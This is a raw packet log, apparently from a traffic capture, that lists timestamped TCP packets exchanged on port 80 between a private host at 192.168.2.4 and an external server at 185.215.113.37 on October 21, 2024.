Oct 21, 2024 09:06:21.221546888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221571922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221580029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221592903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221611977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221621037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221641064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221658945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221677065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221688986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221707106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221723080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221735001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221752882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221765995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221784115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221806049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221817017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221839905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221848965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221862078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221879959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221898079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221913099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221930027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221946001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221959114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.221976995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.221992016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222008944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222022057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222038984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222054005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222070932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222084045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222100019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222115040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222131014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222143888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222178936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222187996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222208023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222225904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222239017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222250938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222269058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222285032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222296000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222310066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222326040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222342968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222357988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222372055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222387075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222404003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222418070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222431898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222449064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222462893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222480059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222493887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222510099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222533941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222543001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222558022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222577095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222587109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222608089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222629070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222647905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222659111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222676992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222697973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222711086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222723007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222740889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222754955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222773075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222784996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222803116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222826958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222839117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222852945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222886086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222923040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222942114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222960949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.222974062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.222992897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223014116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223030090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223048925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223067045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223078966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223098040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223109961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223121881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223141909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223155022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223171949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223186016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223201990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223217010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223236084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223248005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223264933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223280907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223294973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223315001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223326921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223350048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223362923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223381996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223408937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223428011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223448038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223460913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223473072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223490953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223505974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223525047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223537922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223556995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223571062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223588943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223603964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223620892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223634005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223651886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223676920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223685026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223697901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223715067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223727942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223747015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223800898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223869085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223886967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223920107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223929882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.223958015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223973036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.223985910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224005938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224025965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224045038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224056959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224075079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224091053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224107981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224123001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224134922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224153042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224164009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224180937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224196911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224211931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224225044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224241972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224255085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224272013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224288940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224302053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224319935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224333048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224347115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224361897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224375010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224392891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224406958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224426031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224437952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224455118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224472046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224493980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224503040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224520922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224539995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224554062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224565983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224584103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224600077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224616051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224631071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224647999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224662066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224679947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224694967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224711895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224724054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224759102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224822998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224841118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224859953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224874020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224890947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224914074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224927902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224946976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224965096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.224977016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.224997997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225007057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225019932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225035906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225049019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225069046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225090027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225102901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225115061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225133896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225152016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225171089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225183010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225199938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225224018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225233078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225244999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225261927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225286007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225295067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225307941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225323915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225337029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225356102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225375891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225385904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225400925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225416899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225433111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225450039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225461006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225477934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225496054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225511074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225522995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225541115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225558043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225572109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225588083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225620031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225672960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225692987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225712061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225724936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225744009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225754976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225769043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225790977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225810051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225825071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225836992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225855112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.225872040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.225898981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.264072895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.264106035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.264130116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.264209986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.264242887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339587927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339632034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339653969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339673996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339694977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339714050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339741945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339764118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339796066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339813948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339828014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339853048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339862108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339879990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339891911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339910984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339924097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339935064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339953899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.339972019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.339988947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340002060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340029001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340051889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340084076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340099096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340116978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340132952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340148926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340162992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340183973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340195894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340214014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340243101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340255022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340275049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340286970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340322018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340331078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340348959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340373039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340380907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340396881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340416908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340428114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340446949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340466976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340487957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340504885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340527058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340540886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340559959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340574980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340588093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340620995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340693951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340712070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340737104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340744972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340759039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340776920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340790033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340809107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340826035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340845108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340857029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340874910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340888023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340904951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340919971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340936899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 21, 2024 09:06:21.340955019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 21, 2024 09:06:21.340967894 CEST	80	49730	185.215.113.37	192.168.2.4
